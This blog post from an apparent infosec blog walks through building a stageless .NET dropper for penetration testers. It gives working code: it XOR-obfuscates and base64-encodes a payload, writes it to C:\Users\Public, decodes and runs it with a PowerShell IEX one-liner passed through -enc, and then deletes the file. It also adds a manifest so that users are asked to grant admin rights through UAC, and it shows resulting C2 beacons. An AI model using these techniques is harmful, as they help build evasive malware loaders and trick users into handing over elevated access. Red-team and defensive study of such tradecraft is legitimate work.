peew.pw

Just a no nonsense infosec blog.

Writing .NET Executables for Pentesters - Part 2

Today we're going to take a look at adding some improvements to our .NET executable from last week. First, we are going to make it stageless by embedding the payload PowerShell executes into the exe file. Then, we'll add a custom application manifest to control what process integrity level our program runs at. If you haven't seen part 1 yet, you can find that here or if you just need the code from part one, that's here.

Stageless Payload

Instead of telling PowerShell to download and execute our payload, we are instead going to write it to a file and then have PowerShell read and execute it from there.

"WAIT WHAT? We're dropping things to disk?!"

Yes but... we'll encrpyt* it, and lots of apps write things to disk, so it's not going to be suspicious on it's own.
*It's not real encryption, but it'll be good enough for us.

We're going to xor each byte of our payload and then base64 encode it. Xor-ing is going to be our "encryption" which will be easy to reverse in PowerShell, and base64 encoding is just so we can have normal characters to paste into our program. I made a PowerShell script that does this for us:

param (
      [string]$in = $( Read-Host "Please specify a file to encode with -in" ),
      [string]$out = $( Read-Host "Please specify an output file with -out" )
)
if (-Not (Test-Path $in)) { Read-Host "Please specify a valid filepath" }
$str = [System.IO.File]::ReadAllText($in)
$bytes = [System.Text.Encoding]::Ascii.GetBytes($str)
for($i=0; $i -lt $bytes.count; $i++) {
      $bytes[$i] = $bytes[$i] -bxor 0x71
}
[Convert]::ToBase64String($bytes) | Out-File $out

Also available as a gist here: https://gist.github.com/peewpw/2fc092ac51ed4b554d530da8fd93537c.

Note the 0x71 that is used to xor bytes; we'll need to use the same value do decode our payload later.
 

 Using the PowerShell script to encode our payload

Using the PowerShell script to encode our payload

We can now copy the contents of the output file into our program, setting a static string above the Main method. As the first action in Main, we'll write this value to a file. I'm going to write to a text file in C:\Users\Public\, a directory which usually exists. This code won't work if your target doesn't have that directory, so choose a location to suit your needs.
 

static string psc = "<encoded payload>"
static void Main(string[] args)
{
      File.WriteAllText(@"C:\Users\Public\test12.txt", psc);
      ....

Now that we have that payload in a file, we are going to need a PowerShell command to read this file, decode the payload, and execute it. Here's what that looks like:

$f=[System.IO.File]::ReadAllText("C:\Users\Public\test12.txt");$b=[Convert]::FromBase64String($f);for($i=0;$i -lt $b.count;$i++){$b[$i]=$b[$i] -bxor 0x71}IEX([System.Text.Encoding]::Ascii.GetString($b));

$f is the base64 string we created earlier as read from the file. We convert that to a byte array in $b and then loop through each byte and xor it by 0x71. Finally we convert the byte array back to a string and execute that string.

Calling that command directly is a character escaping nightmare, so we're going to simply base64 encode it and run it as an encoded command. Using a very similar PowerShell script as before is the easiest way.

param (
      [string]$in = $( Read-Host "Please specify a file to encode with -in" ),
      [string]$out = $( Read-Host "Please specify an output file with -out" )
)
if (-Not (Test-Path $in)) { Read-Host "Please Specify a valid filepath" }
$str = [System.IO.File]::ReadAllText($in)
$bytes = [System.Text.Encoding]::Unicode.GetBytes($str)
[Convert]::ToBase64String($bytes) | Out-File $out

Also available as a gist here: https://gist.github.com/peewpw/4bbcce5b89e96d48f4495cd8cb95aab6.

Note that we've switched to unicode encoding from the earlier ascii. Ascii gets us a much smaller output in the first script, but here we need unicode beacuse that's what PowerShell's encoded command argument expects. Just something to watch out for as you copy and paste code around!

 Base64 encoding our PowerShell command

Base64 encoding our PowerShell command

We'll put that output into our program as an argument for the PowerShell command.

process.StartInfo.Arguments = "-enc <base64 encoded command>"

At this point the program works! But we can be a bit cleaner by removing the file we created after PowerShell has read it. We'll wait more than long enough for PowerShell to do it's thing and then delete it:

Thread.Sleep(5000);
File.Delete(@"C:\Users\Public\test12.txt");

Here's what our final code looks like: https://gist.github.com/peewpw/0c8f240d642fb554d83d3433b2e718fc.

As before, if you've run the final version of your code, the exe will be in your project folder under projectname\bin\Debug\projectname.exe. If you want to avoid running your payload on your own system, you can select Build > Build Solution or hit F6 to build a new version of that exe without actually executing your program.

Requesting An Elevated Process

Windows processes run at different integrity levels, which have different privileges regarding what they can access and do on a local system. I'm just going to touch on a few high level points of how it pertains to us, but if you want a deep dive, tackle at your own risk.. https://msdn.microsoft.com/en-us/library/bb625963.aspx. Often as an attacker, we want to have the highest privilege level possible to do what we want (SYSTEM). We usually presume we can get to SYSTEM from admin level access, but getting from a normal process to an admin process can be a little more involved. Sometimes it might make sense to simply ask the user for these permissions as a part of launching our application.

When a user opens a normal application, it usually runs as a medium integrity process. This means that it can't perform "admin" activities. A program can request higher privileges by triggering User Account Control (UAC). You'll know the classic screen-dimming pop-up box we're talking about...

 A UAC prompt.

A UAC prompt.

What happens next depends on the UAC settings and the user's privileges. Let's assume the user is a member of the local administrators group. If UAC is set to "prompt for consent" (the default), the user will have to click through to run the program as admin. If UAC is set to "prompt for credentials" (not uncommon), the user will have to enter their credentials to run the program as admin. If UAC is set to "no prompt" or disabled, the program will just run. As a standard user, if UAC is set to "prompt for credentials", the user will need to enter admin credentials to continue. If UAC is set to "no prompt" or disabled, the program will fail. 

We can define if our program will ask for an elevated process using an Application Manifest. There are three options we have: asInvoker, requireAdministrator, and highestAvailable. The first option asInvoker, is the default if we don't define a manifest. The program will simply run as medium process (unless run as the Administrator account, then everything is elevated). The next option is pretty self explanatory, requiring admin privileges or failing. This is what many installers use. The last option is more dynamic, and probably of the most interest to us. If a user is a member of the local administrators group, UAC will prompt for an elevated process, but if the user is not an admin, the program will run as a normal process.

Depending on the scenario where you are using your executable, any one of these settings could make sense to use. We're going to walk through using the "highestAvailable" setting, but experiment with the others as you wish.

First, we'll create a manifest specifying our desired execution parameters.

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0">
      <trustInfo xmlns="urn:schemas-microsoft-com:asm.v2">
            <security>
                  <requestedPrivileges>
                        <requestedExecutionLevel
                              level="highestAvailable"
                              uiAccess="false"/>
                  </requestedPrivileges>
            </security>
      </trustInfo>
</assembly>

We'll save this as a .manifest file and then include it in our Visual Studio project.

 Our manifest file in Visual Studio.

Our manifest file in Visual Studio.

Under the Project menu, select "<project name> Properties" and then choose our new custom manifest in the resources drop down.

 Choosing our manifest file in the project properties.

Choosing our manifest file in the project properties.

When we build our executable now, this manifest will be included in it. When our program is run by a user with local admin privileges, they will be prompted by UAC to run the program (in an elevated process). I renamed my executable with the manifest to peewpw_adm.exe so we can compare it side-by-side with the original file. You can see how the file with the new manifest is marked with the UAC icon when viewed by a user with local admin.

 Viewing the executable before and after the custom manifest, as a user with local admin privileges.

Viewing the executable before and after the custom manifest, as a user with local admin privileges.

When the same files are viewed by a normal user however, we can see that there is no UAC icon. When a normal user runs either program, it will be executed as a medium integrity (normal) process.

 Viewing the executable before and after the custom manifest, as a user without local admin privileges.

Viewing the executable before and after the custom manifest, as a user without local admin privileges.

We can also see how when an admin runs both of the files (clicking through UAC on the latter), one beacon is established as a medium integrity (normal) process, and one is a high integrity (admin) process.

 The result of running both programs. The first established a beacon as a normal process, and the second as an admin process (note the asterisk and red computer icon).

The result of running both programs. The first established a beacon as a normal process, and the second as an admin process (note the asterisk and red computer icon).

Next Steps

We made a compromise here by trading a web call with a staged payload for writing an encrypted file to disk. Next time, we'll look at other options for stageless payloads without writing a file to disk!

The application manifest provides us some options for getting an elevated process without using one of the UAC bypass methods which may trigger an alert. We can instead ask the user to give us that access during a moment where they expect that prompt, eg. installing a program.

Until next week, happy hacking!

Barrett AdamsPowerShell, .NET, C#, EXE